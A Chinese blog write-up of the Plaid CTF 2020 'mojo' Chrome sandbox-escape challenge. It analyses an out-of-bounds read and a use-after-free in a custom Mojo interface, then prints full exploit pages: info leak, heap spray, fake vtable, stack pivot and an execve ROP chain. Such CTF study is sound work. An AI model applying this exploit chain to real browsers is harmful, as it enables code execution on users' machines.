0
点赞
收藏
分享

微信扫一扫

《Django+React前后端分离项目开发实战:爱计划》 02 安装Python和Django

文章目录

前置知识

Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services

  • 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸
  • 原文:Cleanly Escaping the Chrome Sandbox

参考文章

本文主要参考 Plaid CTF 2020 mojo Writeup

环境搭建

题目环境

给了 docker 环境,所以直接启 docker 即可。

安装 docker

sudo snap install docker

运行 run.sh 脚本:

./run.sh

运行 chrome

./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url

调试环境

这里单独启一个 web 服务:

python3 -m http.server 8000

调试脚本:

# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent

然后 gdb 调试即可:

gdb -x gdbinit

题目分析

附件分析

题目新定义了一个 PlaidStore 接口:

module blink.mojom;

// This interface provides a data store
interface PlaidStore {

  // Stores data in the data store
  StoreData(string key, array<uint8> data);

  // Gets data from the data store
  GetData(string key, uint32 count) => (array<uint8> data);
};

该接口定义了两个方法 StoreDataGetData 分别用于向 data store 中存储数据和获取数据。

然后在浏览器端实现 PlaidStore 接口:

namespace content {

class RenderFrameHost;

class PlaidStoreImpl : public blink::mojom::PlaidStore {
 public:
  explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);

  static void Create(
      RenderFrameHost* render_frame_host,
      mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);

  ~PlaidStoreImpl() override;

  // PlaidStore overrides:
  void StoreData(
      const std::string &key,
      const std::vector<uint8_t> &data) override;

  void GetData(
      const std::string &key,
      uint32_t count,
      GetDataCallback callback) override;

 private:
  RenderFrameHost* render_frame_host_;
  std::map<std::string, std::vector<uint8_t> > data_store_;
};

}

可以看到这里存在两个私有变量其中一个是 data_store_,这个好理解,其就是用来存储数据的;这里的 render_frame_host_ 是神马东西呢?

render 进程中的每一个 frame 都在 browser 进程中对应一个 RenderFrameHost,很多由浏览器提供的 mojo 接口就是通过 RenderFrameHoset 获取的。在 RenderFrameHost 初始化阶段,会在 BinderMap 中填充所有公开的 mojo 接口:

@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,
   map->Add<blink::mojom::SerialService>(base::BindRepeating(
       &RenderFrameHostImpl::BindSerialService, base::Unretained(host)));
 #endif  // !defined(OS_ANDROID)
+
+  map->Add<blink::mojom::PlaidStore>(
+      base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+                          base::Unretained(host)));
 }

当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其定义如下:

void RenderFrameHostImpl::CreatePlaidStore(
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  PlaidStoreImpl::Create(this, std::move(receiver));
}

其直接调用了 PlaidStoreImpl::Create 函数:

// static
void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
                              std::move(receiver));
}

通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定。

漏洞分析

该题存在两个漏洞,分别是 OOBUAF,接下来直接分别讲解。

OOB

来分析下存取数据的操作:

void PlaidStoreImpl::StoreData(
    const std::string &key,
    const std::vector<uint8_t> &data) {
  if (!render_frame_host_->IsRenderFrameLive()) {
    return;
  }
  data_store_[key] = data;
}

void PlaidStoreImpl::GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback) {
  if (!render_frame_host_->IsRenderFrameLive()) {
    std::move(callback).Run({});
    return;
  }
  auto it = data_store_.find(key);
  if (it == data_store_.end()) {
    std::move(callback).Run({});
    return;
  }
  std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
  std::move(callback).Run(result);
}

可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive 去检查 render frame 是否处于 live 状态。然后 StoreData 没啥问题,主要在于 GetData 函数没有对 count 字段做检查,所以这里可以导致越界读。

UAF

这里主要涉及到对象指针生命周期的问题。

在上面我们说过当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其最后会调用到 PlaidStoreImpl::Create 函数:

void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
                              std::move(receiver));
}

通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定,也就是说这里会将消息管道的一段 receiverPlaidStoreImpl 绑定,而这里传入的 render_frame_host 是一个 PlaidStoreImpl 类型的智能指针。

由于这里的绑定,所以当 mojo 管道关闭或发生错误时,PlaidStoreImpl 就会被自动释放,从而使得 PlaidStoreImplreceiver 的生命周期保持一致,这其实是不存在问题的。

而在 PlaidStoreImpl 的构造函数中,存在对 render_frame_host 的赋值操作:

PlaidStoreImpl::PlaidStoreImpl(
    RenderFrameHost *render_frame_host)
    : render_frame_host_(render_frame_host) {}

可以看到在 PlaidStoreImpl 的构造函数中,将 render_frame_host 赋给了其私有属性 render_frame_host_。那么问题就来了,如果 render_frame_host 对象被析构了(比如删除 iframe),但是 PlaidStoreImpl 还存在(因为 render_frame_host 并没有与 PlaidStoreImpl 绑定),那么在 StoreData/GetData 中调用 render_frame_host_->IsRenderFrameLive() 就会存在 UAF 漏洞。

漏洞利用

整体是思路就比较明确了:

  • 利用 OOB 泄漏相关数据
  • 利用 UAF 劫持程序执行流

前期准备
调用 MojoJS 接口时,请包含以下 JS 文件(这里请根据具体题目路径进行包含):

<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>

然后进行管道端点绑定:

// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);

调试分析
OOB 泄漏数据
首先是测试 OOB,主要是看下能够泄漏什么数据:

<html>
        <script src="mojo/public/js/mojo_bindings.js"></script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
        <script>

                function hexx(str, v) {
                        console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));
                }

                async function pwn() {
                        console.log("PWN");
                        //var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来???
                        var ps = new blink.mojom.PlaidStorePtr();
                        Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                mojo.makeRequest(ps).handle,
                                                "context", true);

                        await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));
                        var leak_data = (await(ps.getData("pwn", 0x20))).data;
                        var u8 = new Uint8Array(leak_data);
                        var u64 = new BigInt64Array(u8.buffer);
                }
                pwn();
        </script>
</html>

将断点打在 PlaidStoreImpl::Create 函数上,主要就是看下 PlaidStoreImpl 申请的空间:
在这里插入图片描述
可以看到这里 PlaidStoreImpl 的空间大小为 0x28,其成员依次往下为 vtablerender_frame_hostdata_store_
在这里插入图片描述
StoreData 执行完后:
在这里插入图片描述
可以看到,这里 PlaidStoreImpldata_store_data_vector 位于同一个段,所以这里可以通过越界读泄漏 PlaidStoreImplvtable 地址,并且还可以泄漏 render_frame_host_ 的地址,然后通过这些地址泄漏其它地址。比如可以通过 vtable 的地址确定 ELF 加载基地址:
在这里插入图片描述
泄漏了 ELF 基地址后,就可以得到很多有用的 gadget 了。

UAF 劫持程序执行流
有了 gadget 后,接下来就是考虑如何劫持 rip,这里的想法就是劫持虚表指针从而劫持程序执行流。

我们知道,每次调用 StoreData/GetData 时,都会先调用 render_frame_host_->IsRenderFrameLive,其是通过虚表指针进行调用的:
在这里插入图片描述
可以看到这里的 rax 就是 render_frame_host_ 的虚表地址,然后 [rax + 0x160] 就是 IsRenderFrameLive 函数的地址。

可以简单验证一下,可以看到当执行 call QWORD PTR[rax+0x160] 时,rax 确实是 render_frame_host_ 的虚表地址:
在这里插入图片描述
那么整个思路就比较清晰了:

  • 构造 render_frame_host_ UAF
  • 堆喷获取 UAF 堆块并伪造 render_frame_host_ 虚表
  • 调用 render_frame_host_->IsRenderFrameLive 控制程序执行流

这里 rax 寄存器的值就是 render_frame_host_ 的虚表地址,而其虚表地址我们是可控的(就在 render_frame_host_ 对象的头 8 字节处),而在 OOB 中我们又可以顺带泄漏 render_frame_host_ 的地址(其就在 PlaidStoreImpl 虚表的下方),所以我们可以利用 xchg rax, rspgadget 劫持栈到 render_frame_host_ 上,并提前在 render_frame_host_ 上布置好 rop chain 即可。

这里借用上述参考文章中佬的一张图:
在这里插入图片描述

所以我们现在得需要知道 RenderFrameHostImpl 的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl 上:
在这里插入图片描述
可以看到,在执行构造函数前执行了 RenderFrameFactory::Create 函数,所以其多半就是为 RenderFrameHostImpl 分配空间的函数,重新将断点打在 RenderFrameHostFactory::Create 上:
在这里插入图片描述
所以这里多半就可以确认 RenderFrameHostImpl 的大小为 0xc28

这里照搬上述参考文章,也是比较重要的部分:
当我们创建一个 child iframe 并建立一个 PlaidStoreImpl 实例后。如果我们关闭这个 child iframe,则对应的RenderFrameHost 将会自动关闭;但与此同时,child iframe 所对应的 PlaidStoreImplbrowser 建立的 mojo 管道将会被断开。而该管道一但断开,则 PlaidStoreImpl 实例将会被析构。

因此,我们需要在关闭 child iframe 之前,将管道的 remote 端移交给 parent iframe,使得 child iframePlaidStoreImpl 实例在 iframe 关闭后仍然存活。

那么,问题是,该如何移交 Mojo 管道的 remote 端呢?答案是:使用 MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他 iframeMojo.bindInterface 调用。在 child iframe 被销毁前,我们可以利用该功能将mojo 管道的一端传递给 parent iframe
以下是来自其他 exp 的相关代码,我们可以通过该代码片段来了解 MojoInterfaceInterceptor 的具体使用方式:

var kPwnInterfaceName = "pwn";

// runs in the child frame
function sendPtr() {
  var pipe = Mojo.createMessagePipe();
  // bind the InstalledAppProvider with the child rfh
  Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
    pipe.handle1, "context", true);

  // pass the endpoint handle to the parent frame
  Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}

// runs in the parent frame
function getFreedPtr() {
  return new Promise(function (resolve, reject) {
    var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash

    // intercept bindInterface calls for this process to accept the handle from the child
    let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
    interceptor.oninterfacerequest = function(e) {
      interceptor.stop();

      // bind and return the remote
      var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
      freeRFH(frame);
      resolve(provider_ptr);
    }
    interceptor.start();
  });
}

现在,我们已经解决了所有潜在的问题,UAF 的利用方式应该是这样的:

  • child iframeMojo 管道的 remote 端移交至 parent iframe,使得 Mojo 管道仍然保持连接
  • 释放 child iframe
  • 多次分配内存,使得分配到原先被释放 RenderFrameHostImpl 的内存区域
  • 写入目标数据
  • 执行 child iframe 对应的 PlaidStoreImpl::GetData 函数

最后简化后的利用方式如下:

  • 释放 child iframe
  • 多次分配内存,使得分配到原先被释放 RenderFrameHostImpl 的内存区域
  • 写入目标数据
  • 执行 child iframe 对应的 PlaidStoreImpl::GetData 函数

简单测试一下:

<html>
<head>
        <script src="mojo/public/js/mojo_bindings.js"></script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
        <script>
                async function pwn() {
                        var frame = document.createElement("iframe");
                        frame.srcdoc = `
                                <script src="mojo/public/js/mojo_bindings.js"><\/script>
                                <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
                                <script>
                                        var ps = new blink.mojom.PlaidStorePtr();
                                        Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                                mojo.makeRequest(ps).handle,
                                                                "context",true);
                                        ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));

                                        window.ps = ps;
                                <\/script>
                        `;

                        document.body.appendChild(frame);
                        frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
                                var ps = frame.contentWindow.ps;
                                if(ps == undefined || ps == 0) {
                                        throw "FAILED to load iframe";
                                }

                                var raw_buf = new ArrayBuffer(0xc28);
                                var fu8 = new Uint8Array(raw_buf).fill(0);
                                var fu64 = new BigUint64Array(raw_buf);
                                fu64[0] = 0xdeadbeefn;
                                var pps = new blink.mojom.PlaidStorePtr();
                                Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                        mojo.makeRequest(pps).handle,
                                                        "context",true);

                                document.body.removeChild(frame);
                                frame.remove();
                                for (let i = 0; i < 100; i++) {
                                        await pps.storeData("pwn" + i, fu8);
                                }
                                await ps.getData("pwn", 0);
                        });
                }
        </script>
</head>
<body onload = pwn()></body>

</html>

效果如下:
在这里插入图片描述
程序在 GetDataCrash,此时的 rax = 0xdeadbeef,符合预期。

最后的 exp 如下:

<html>
<head>
        <script src="mojo/public/js/mojo_bindings.js"></script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
        <script>
                function hexx(str, v) {
                        var elem = document.getElementById("#parentLog");
                        if(elem == undefined) {
                                elem = document.createElement("div");
                                document.body.appendChild(elem);
                        }
                        elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';
                }

                async function pwn() {
                        //var ps = blink.mojom.PlaidStore.getRemote(true);
                        var frame = document.createElement("iframe");
                        frame.srcdoc = `
        <script src="mojo/public/js/mojo_bindings.js"><\/script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
        <script>
                async function pwn() {
                        var ps_list = [];
                        for (let i = 0; i < 0x200; i++) {
                                let ps = new blink.mojom.PlaidStorePtr();
                                Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                        mojo.makeRequest(ps).handle,
                                                        "context", true);
                                await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));
                                ps_list.push(ps);
                        }

                        var elf_to_vtable = 0x9fb67a0n;
                        var vtable_addr = -1;
                        var render_frame_host_addr = -1;
                        for (let k = 0; k < 0x200; k++) {

                                let ps = ps_list[k];
                                let leak_data = (await ps.getData("pwn", 0x200)).data;
                                let u8 = new Uint8Array(leak_data);
                                let u64 = new BigInt64Array(u8.buffer);

                                for (let i = 0x20 / 8; i < u64.length - 1; i++) {
                                        if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {
                                                vtable_addr = u64[i];
                                                render_frame_host_addr = u64[i+1];
                                                break;
                                        }
                                        if (vtable_addr != -1) {
                                                break;
                                        }
                                }
                        }

                        if (vtable_addr == -1) {
                                hexx("FAILED to OOB vtable addr", -1);
                                throw "[X] FAILED to OOB vtable addr";
                        }

                        var elf_base = vtable_addr - elf_to_vtable;

                        window.ps = ps_list[0];
                        window.elf_base = elf_base;
                        window.render_frame_host_addr = render_frame_host_addr;
                }
        <\/script>
        `;
                        document.body.appendChild(frame);
                        frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
                                await frame.contentWindow.pwn();
                                var ps = frame.contentWindow.ps;
                                var elf_base = frame.contentWindow.elf_base;
                                var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;
                                if (ps == undefined || ps == 0) {
                                        throw "FAILED to load iframe";
                                }

                                var pop_rdi = elf_base + 0x0000000002e4630fn;
                                var pop_rsi = elf_base + 0x0000000002d278d2n;
                                var pop_rdx = elf_base + 0x0000000002e9998en;
                                var pop_rax = elf_base + 0x0000000002e651ddn;
                                var syscall = elf_base + 0x0000000002ef528dn;
                                var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; ret

                                hexx("elf_base", elf_base);
                                hexx("render_frame_host_addr", render_frame_host_addr);
                                hexx("pop_rdi", pop_rdi);
                                hexx("pop_rsi", pop_rsi);
                                hexx("pop_rdx", pop_rdx);
                                hexx("pop_rax", pop_rax);
                                hexx("syscall", syscall);
                                hexx("xchg_rax_rsp", xchg_rax_rsp);

                                const RenderFrameHostSize = 0xc28;
                                var raw_buf = new ArrayBuffer(RenderFrameHostSize);
                                var fu8 = new Uint8Array(raw_buf).fill(0);
                                var fdv = new DataView(raw_buf);
                                var rop = new BigUint64Array(raw_buf, 0x10);

                                fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);
                                fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);
                                fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);
                                rop[0] = 0xdeadbeefn; // rbp
                                rop[1] = pop_rdi;
                                rop[2] = render_frame_host_addr+0x178n;
                                rop[3] = pop_rsi;
                                rop[4] = 0n;
                                rop[5] = pop_rdx;
                                rop[6] = 0n;
                                rop[7] = pop_rax;
                                rop[8] = 59n;
                                rop[9] = syscall;

                                var pps = new blink.mojom.PlaidStorePtr();
                                Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                        mojo.makeRequest(pps).handle,
                                                        "context", true);

                                document.body.removeChild(frame);
                                frame.remove();
                                for (let i = 0; i < 100; i++) {
                                        await pps.storeData("pwn"+i, fu8);
                                }

                                await ps.getData("pwn", 0x20);
                        });
                }
        </script>
</head>
<body onload = pwn()></body>
</html>

效果如下:
在这里插入图片描述

总结

这个题目算是比较简单的沙箱逃逸了,但是还是搞了两天。主要的问题就是调试,比较奇怪的是如果 exp 中出现了一些错误,程序不会报错。比如我的 exp 最开始在赋值 BigInt 类型的数字时,忘记给 0 后面加上 n,然后 exp 就一直打不通,但是程序也不报错,所以这里发现这个 0n 问题,我就搞了一天…

举报

相关推荐

0 条评论